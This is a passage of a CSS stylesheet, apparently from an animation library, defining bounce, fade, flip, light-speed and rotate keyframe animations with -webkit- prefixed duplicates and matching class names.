    transform: translate3d(0, -5px, 0);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes bounceInUp {
  from,
  60%,
  75%,
  90%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  from {
    opacity: 0;
    -webkit-transform: translate3d(0, 3000px, 0);
    transform: translate3d(0, 3000px, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }

  75% {
    -webkit-transform: translate3d(0, 10px, 0);
    transform: translate3d(0, 10px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, -5px, 0);
    transform: translate3d(0, -5px, 0);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.bounceInUp {
  -webkit-animation-name: bounceInUp;
  animation-name: bounceInUp;
}

@-webkit-keyframes bounceOut {
  20% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9);
    transform: scale3d(0.9, 0.9, 0.9);
  }

  50%,
  55% {
    opacity: 1;
    -webkit-transform: scale3d(1.1, 1.1, 1.1);
    transform: scale3d(1.1, 1.1, 1.1);
  }

  to {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }
}

@keyframes bounceOut {
  20% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9);
    transform: scale3d(0.9, 0.9, 0.9);
  }

  50%,
  55% {
    opacity: 1;
    -webkit-transform: scale3d(1.1, 1.1, 1.1);
    transform: scale3d(1.1, 1.1, 1.1);
  }

  to {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }
}

.bounceOut {
  -webkit-animation-duration: 0.75s;
  animation-duration: 0.75s;
  -webkit-animation-name: bounceOut;
  animation-name: bounceOut;
}

@-webkit-keyframes bounceOutDown {
  20% {
    -webkit-transform: translate3d(0, 10px, 0);
    transform: translate3d(0, 10px, 0);
  }

  40%,
  45% {
    opacity: 1;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, 2000px, 0);
    transform: translate3d(0, 2000px, 0);
  }
}

@keyframes bounceOutDown {
  20% {
    -webkit-transform: translate3d(0, 10px, 0);
    transform: translate3d(0, 10px, 0);
  }

  40%,
  45% {
    opacity: 1;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, 2000px, 0);
    transform: translate3d(0, 2000px, 0);
  }
}

.bounceOutDown {
  -webkit-animation-name: bounceOutDown;
  animation-name: bounceOutDown;
}

@-webkit-keyframes bounceOutLeft {
  20% {
    opacity: 1;
    -webkit-transform: translate3d(20px, 0, 0);
    transform: translate3d(20px, 0, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(-2000px, 0, 0);
    transform: translate3d(-2000px, 0, 0);
  }
}

@keyframes bounceOutLeft {
  20% {
    opacity: 1;
    -webkit-transform: translate3d(20px, 0, 0);
    transform: translate3d(20px, 0, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(-2000px, 0, 0);
    transform: translate3d(-2000px, 0, 0);
  }
}

.bounceOutLeft {
  -webkit-animation-name: bounceOutLeft;
  animation-name: bounceOutLeft;
}

@-webkit-keyframes bounceOutRight {
  20% {
    opacity: 1;
    -webkit-transform: translate3d(-20px, 0, 0);
    transform: translate3d(-20px, 0, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(2000px, 0, 0);
    transform: translate3d(2000px, 0, 0);
  }
}

@keyframes bounceOutRight {
  20% {
    opacity: 1;
    -webkit-transform: translate3d(-20px, 0, 0);
    transform: translate3d(-20px, 0, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(2000px, 0, 0);
    transform: translate3d(2000px, 0, 0);
  }
}

.bounceOutRight {
  -webkit-animation-name: bounceOutRight;
  animation-name: bounceOutRight;
}

@-webkit-keyframes bounceOutUp {
  20% {
    -webkit-transform: translate3d(0, -10px, 0);
    transform: translate3d(0, -10px, 0);
  }

  40%,
  45% {
    opacity: 1;
    -webkit-transform: translate3d(0, 20px, 0);
    transform: translate3d(0, 20px, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, -2000px, 0);
    transform: translate3d(0, -2000px, 0);
  }
}

@keyframes bounceOutUp {
  20% {
    -webkit-transform: translate3d(0, -10px, 0);
    transform: translate3d(0, -10px, 0);
  }

  40%,
  45% {
    opacity: 1;
    -webkit-transform: translate3d(0, 20px, 0);
    transform: translate3d(0, 20px, 0);
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, -2000px, 0);
    transform: translate3d(0, -2000px, 0);
  }
}

.bounceOutUp {
  -webkit-animation-name: bounceOutUp;
  animation-name: bounceOutUp;
}

@-webkit-keyframes fadeIn {
  from {
    opacity: 0;
  }

  to {
    opacity: 1;
  }
}

@keyframes fadeIn {
  from {
    opacity: 0;
  }

  to {
    opacity: 1;
  }
}

.fadeIn {
  -webkit-animation-name: fadeIn;
  animation-name: fadeIn;
}

@-webkit-keyframes fadeInDown {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, -100%, 0);
    transform: translate3d(0, -100%, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes fadeInDown {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, -100%, 0);
    transform: translate3d(0, -100%, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.fadeInDown {
  -webkit-animation-name: fadeInDown;
  animation-name: fadeInDown;
}

@-webkit-keyframes fadeInDownBig {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, -2000px, 0);
    transform: translate3d(0, -2000px, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes fadeInDownBig {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, -2000px, 0);
    transform: translate3d(0, -2000px, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.fadeInDownBig {
  -webkit-animation-name: fadeInDownBig;
  animation-name: fadeInDownBig;
}

@-webkit-keyframes fadeInLeft {
  from {
    opacity: 0;
    -webkit-transform: translate3d(-100%, 0, 0);
    transform: translate3d(-100%, 0, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes fadeInLeft {
  from {
    opacity: 0;
    -webkit-transform: translate3d(-100%, 0, 0);
    transform: translate3d(-100%, 0, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.fadeInLeft {
  -webkit-animation-name: fadeInLeft;
  animation-name: fadeInLeft;
}

@-webkit-keyframes fadeInLeftBig {
  from {
    opacity: 0;
    -webkit-transform: translate3d(-2000px, 0, 0);
    transform: translate3d(-2000px, 0, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes fadeInLeftBig {
  from {
    opacity: 0;
    -webkit-transform: translate3d(-2000px, 0, 0);
    transform: translate3d(-2000px, 0, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.fadeInLeftBig {
  -webkit-animation-name: fadeInLeftBig;
  animation-name: fadeInLeftBig;
}

@-webkit-keyframes fadeInRight {
  from {
    opacity: 0;
    -webkit-transform: translate3d(100%, 0, 0);
    transform: translate3d(100%, 0, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes fadeInRight {
  from {
    opacity: 0;
    -webkit-transform: translate3d(100%, 0, 0);
    transform: translate3d(100%, 0, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.fadeInRight {
  -webkit-animation-name: fadeInRight;
  animation-name: fadeInRight;
}

@-webkit-keyframes fadeInRightBig {
  from {
    opacity: 0;
    -webkit-transform: translate3d(2000px, 0, 0);
    transform: translate3d(2000px, 0, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes fadeInRightBig {
  from {
    opacity: 0;
    -webkit-transform: translate3d(2000px, 0, 0);
    transform: translate3d(2000px, 0, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.fadeInRightBig {
  -webkit-animation-name: fadeInRightBig;
  animation-name: fadeInRightBig;
}

@-webkit-keyframes fadeInUp {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, 100%, 0);
    transform: translate3d(0, 100%, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes fadeInUp {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, 100%, 0);
    transform: translate3d(0, 100%, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.fadeInUp {
  -webkit-animation-name: fadeInUp;
  animation-name: fadeInUp;
}

@-webkit-keyframes fadeInUpBig {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, 2000px, 0);
    transform: translate3d(0, 2000px, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes fadeInUpBig {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, 2000px, 0);
    transform: translate3d(0, 2000px, 0);
  }

  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.fadeInUpBig {
  -webkit-animation-name: fadeInUpBig;
  animation-name: fadeInUpBig;
}

@-webkit-keyframes fadeOut {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
  }
}

@keyframes fadeOut {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
  }
}

.fadeOut {
  -webkit-animation-name: fadeOut;
  animation-name: fadeOut;
}

@-webkit-keyframes fadeOutDown {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, 100%, 0);
    transform: translate3d(0, 100%, 0);
  }
}

@keyframes fadeOutDown {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, 100%, 0);
    transform: translate3d(0, 100%, 0);
  }
}

.fadeOutDown {
  -webkit-animation-name: fadeOutDown;
  animation-name: fadeOutDown;
}

@-webkit-keyframes fadeOutDownBig {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, 2000px, 0);
    transform: translate3d(0, 2000px, 0);
  }
}

@keyframes fadeOutDownBig {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, 2000px, 0);
    transform: translate3d(0, 2000px, 0);
  }
}

.fadeOutDownBig {
  -webkit-animation-name: fadeOutDownBig;
  animation-name: fadeOutDownBig;
}

@-webkit-keyframes fadeOutLeft {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(-100%, 0, 0);
    transform: translate3d(-100%, 0, 0);
  }
}

@keyframes fadeOutLeft {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(-100%, 0, 0);
    transform: translate3d(-100%, 0, 0);
  }
}

.fadeOutLeft {
  -webkit-animation-name: fadeOutLeft;
  animation-name: fadeOutLeft;
}

@-webkit-keyframes fadeOutLeftBig {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(-2000px, 0, 0);
    transform: translate3d(-2000px, 0, 0);
  }
}

@keyframes fadeOutLeftBig {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(-2000px, 0, 0);
    transform: translate3d(-2000px, 0, 0);
  }
}

.fadeOutLeftBig {
  -webkit-animation-name: fadeOutLeftBig;
  animation-name: fadeOutLeftBig;
}

@-webkit-keyframes fadeOutRight {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(100%, 0, 0);
    transform: translate3d(100%, 0, 0);
  }
}

@keyframes fadeOutRight {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(100%, 0, 0);
    transform: translate3d(100%, 0, 0);
  }
}

.fadeOutRight {
  -webkit-animation-name: fadeOutRight;
  animation-name: fadeOutRight;
}

@-webkit-keyframes fadeOutRightBig {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(2000px, 0, 0);
    transform: translate3d(2000px, 0, 0);
  }
}

@keyframes fadeOutRightBig {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(2000px, 0, 0);
    transform: translate3d(2000px, 0, 0);
  }
}

.fadeOutRightBig {
  -webkit-animation-name: fadeOutRightBig;
  animation-name: fadeOutRightBig;
}

@-webkit-keyframes fadeOutUp {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, -100%, 0);
    transform: translate3d(0, -100%, 0);
  }
}

@keyframes fadeOutUp {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, -100%, 0);
    transform: translate3d(0, -100%, 0);
  }
}

.fadeOutUp {
  -webkit-animation-name: fadeOutUp;
  animation-name: fadeOutUp;
}

@-webkit-keyframes fadeOutUpBig {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, -2000px, 0);
    transform: translate3d(0, -2000px, 0);
  }
}

@keyframes fadeOutUpBig {
  from {
    opacity: 1;
  }

  to {
    opacity: 0;
    -webkit-transform: translate3d(0, -2000px, 0);
    transform: translate3d(0, -2000px, 0);
  }
}

.fadeOutUpBig {
  -webkit-animation-name: fadeOutUpBig;
  animation-name: fadeOutUpBig;
}

@-webkit-keyframes flip {
  from {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg);
    transform: perspective(400px) rotate3d(0, 1, 0, -360deg);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }

  40% {
    -webkit-transform: perspective(400px) translate3d(0, 0, 150px)
rotate3d(0, 1, 0, -190deg);
    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1,
0, -190deg);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }

  50% {
    -webkit-transform: perspective(400px) translate3d(0, 0, 150px)
rotate3d(0, 1, 0, -170deg);
    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1,
0, -170deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  80% {
    -webkit-transform: perspective(400px) scale3d(0.95, 0.95, 0.95);
    transform: perspective(400px) scale3d(0.95, 0.95, 0.95);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  to {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }
}

@keyframes flip {
  from {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg);
    transform: perspective(400px) rotate3d(0, 1, 0, -360deg);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }

  40% {
    -webkit-transform: perspective(400px) translate3d(0, 0, 150px)
rotate3d(0, 1, 0, -190deg);
    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1,
0, -190deg);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }

  50% {
    -webkit-transform: perspective(400px) translate3d(0, 0, 150px)
rotate3d(0, 1, 0, -170deg);
    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1,
0, -170deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  80% {
    -webkit-transform: perspective(400px) scale3d(0.95, 0.95, 0.95);
    transform: perspective(400px) scale3d(0.95, 0.95, 0.95);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  to {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }
}

.animated.flip {
  -webkit-backface-visibility: visible;
  backface-visibility: visible;
  -webkit-animation-name: flip;
  animation-name: flip;
}

@-webkit-keyframes flipInX {
  from {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  60% {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
    transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
    opacity: 1;
  }

  80% {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
    transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
  }

  to {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
  }
}

@keyframes flipInX {
  from {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  60% {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
    transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
    opacity: 1;
  }

  80% {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
    transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
  }

  to {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
  }
}

.flipInX {
  -webkit-backface-visibility: visible !important;
  backface-visibility: visible !important;
  -webkit-animation-name: flipInX;
  animation-name: flipInX;
}

@-webkit-keyframes flipInY {
  from {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
    transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  60% {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
    transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
    opacity: 1;
  }

  80% {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
    transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
  }

  to {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
  }
}

@keyframes flipInY {
  from {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
    transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
    -webkit-animation-timing-function: ease-in;
    animation-timing-function: ease-in;
  }

  60% {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
    transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
    opacity: 1;
  }

  80% {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
    transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
  }

  to {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
  }
}

.flipInY {
  -webkit-backface-visibility: visible !important;
  backface-visibility: visible !important;
  -webkit-animation-name: flipInY;
  animation-name: flipInY;
}

@-webkit-keyframes flipOutX {
  from {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
  }

  30% {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    opacity: 1;
  }

  to {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    opacity: 0;
  }
}

@keyframes flipOutX {
  from {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
  }

  30% {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
    opacity: 1;
  }

  to {
    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
    opacity: 0;
  }
}

.flipOutX {
  -webkit-animation-duration: 0.75s;
  animation-duration: 0.75s;
  -webkit-animation-name: flipOutX;
  animation-name: flipOutX;
  -webkit-backface-visibility: visible !important;
  backface-visibility: visible !important;
}

@-webkit-keyframes flipOutY {
  from {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
  }

  30% {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
    transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
    opacity: 1;
  }

  to {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
    opacity: 0;
  }
}

@keyframes flipOutY {
  from {
    -webkit-transform: perspective(400px);
    transform: perspective(400px);
  }

  30% {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
    transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
    opacity: 1;
  }

  to {
    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
    opacity: 0;
  }
}

.flipOutY {
  -webkit-animation-duration: 0.75s;
  animation-duration: 0.75s;
  -webkit-backface-visibility: visible !important;
  backface-visibility: visible !important;
  -webkit-animation-name: flipOutY;
  animation-name: flipOutY;
}

@-webkit-keyframes lightSpeedIn {
  from {
    -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg);
    transform: translate3d(100%, 0, 0) skewX(-30deg);
    opacity: 0;
  }

  60% {
    -webkit-transform: skewX(20deg);
    transform: skewX(20deg);
    opacity: 1;
  }

  80% {
    -webkit-transform: skewX(-5deg);
    transform: skewX(-5deg);
    opacity: 1;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

@keyframes lightSpeedIn {
  from {
    -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg);
    transform: translate3d(100%, 0, 0) skewX(-30deg);
    opacity: 0;
  }

  60% {
    -webkit-transform: skewX(20deg);
    transform: skewX(20deg);
    opacity: 1;
  }

  80% {
    -webkit-transform: skewX(-5deg);
    transform: skewX(-5deg);
    opacity: 1;
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

.lightSpeedIn {
  -webkit-animation-name: lightSpeedIn;
  animation-name: lightSpeedIn;
  -webkit-animation-timing-function: ease-out;
  animation-timing-function: ease-out;
}

@-webkit-keyframes lightSpeedOut {
  from {
    opacity: 1;
  }

  to {
    -webkit-transform: translate3d(100%, 0, 0) skewX(30deg);
    transform: translate3d(100%, 0, 0) skewX(30deg);
    opacity: 0;
  }
}

@keyframes lightSpeedOut {
  from {
    opacity: 1;
  }

  to {
    -webkit-transform: translate3d(100%, 0, 0) skewX(30deg);
    transform: translate3d(100%, 0, 0) skewX(30deg);
    opacity: 0;
  }
}

.lightSpeedOut {
  -webkit-animation-name: lightSpeedOut;
  animation-name: lightSpeedOut;
  -webkit-animation-timing-function: ease-in;
  animation-timing-function: ease-in;
}

@-webkit-keyframes rotateIn {
  from {
    -webkit-transform-origin: center;
    transform-origin: center;
    -webkit-transform: rotate3d(0, 0, 1, -200deg);
    transform: rotate3d(0, 0, 1, -200deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: center;
    transform-origin: center;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

@keyframes rotateIn {
  from {
    -webkit-transform-origin: center;
    transform-origin: center;
    -webkit-transform: rotate3d(0, 0, 1, -200deg);
    transform: rotate3d(0, 0, 1, -200deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: center;
    transform-origin: center;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

.rotateIn {
  -webkit-animation-name: rotateIn;
  animation-name: rotateIn;
}

@-webkit-keyframes rotateInDownLeft {
  from {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate3d(0, 0, 1, -45deg);
    transform: rotate3d(0, 0, 1, -45deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

@keyframes rotateInDownLeft {
  from {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate3d(0, 0, 1, -45deg);
    transform: rotate3d(0, 0, 1, -45deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

.rotateInDownLeft {
  -webkit-animation-name: rotateInDownLeft;
  animation-name: rotateInDownLeft;
}

@-webkit-keyframes rotateInDownRight {
  from {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate3d(0, 0, 1, 45deg);
    transform: rotate3d(0, 0, 1, 45deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

@keyframes rotateInDownRight {
  from {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate3d(0, 0, 1, 45deg);
    transform: rotate3d(0, 0, 1, 45deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

.rotateInDownRight {
  -webkit-animation-name: rotateInDownRight;
  animation-name: rotateInDownRight;
}

@-webkit-keyframes rotateInUpLeft {
  from {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate3d(0, 0, 1, 45deg);
    transform: rotate3d(0, 0, 1, 45deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

@keyframes rotateInUpLeft {
  from {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate3d(0, 0, 1, 45deg);
    transform: rotate3d(0, 0, 1, 45deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

.rotateInUpLeft {
  -webkit-animation-name: rotateInUpLeft;
  animation-name: rotateInUpLeft;
}

@-webkit-keyframes rotateInUpRight {
  from {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate3d(0, 0, 1, -90deg);
    transform: rotate3d(0, 0, 1, -90deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

@keyframes rotateInUpRight {
  from {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate3d(0, 0, 1, -90deg);
    transform: rotate3d(0, 0, 1, -90deg);
    opacity: 0;
  }

  to {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    opacity: 1;
  }
}

.rotateInUpRight {
  -webkit-animation-name: rotateInUpRight;
  animation-name: rotateInUpRight;
}

@-webkit-keyframes rotateOut {
  from {
    -webkit-transform-origin: center;
    transform-origin: center;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: center;
    transform-origin: center;
    -webkit-transform: rotate3d(0, 0, 1, 200deg);
    transform: rotate3d(0, 0, 1, 200deg);
    opacity: 0;
  }
}

@keyframes rotateOut {
  from {
    -webkit-transform-origin: center;
    transform-origin: center;
    opacity: 1;
  }

  to {
    -webkit-transform-origin: center;
    transform-origin: center;
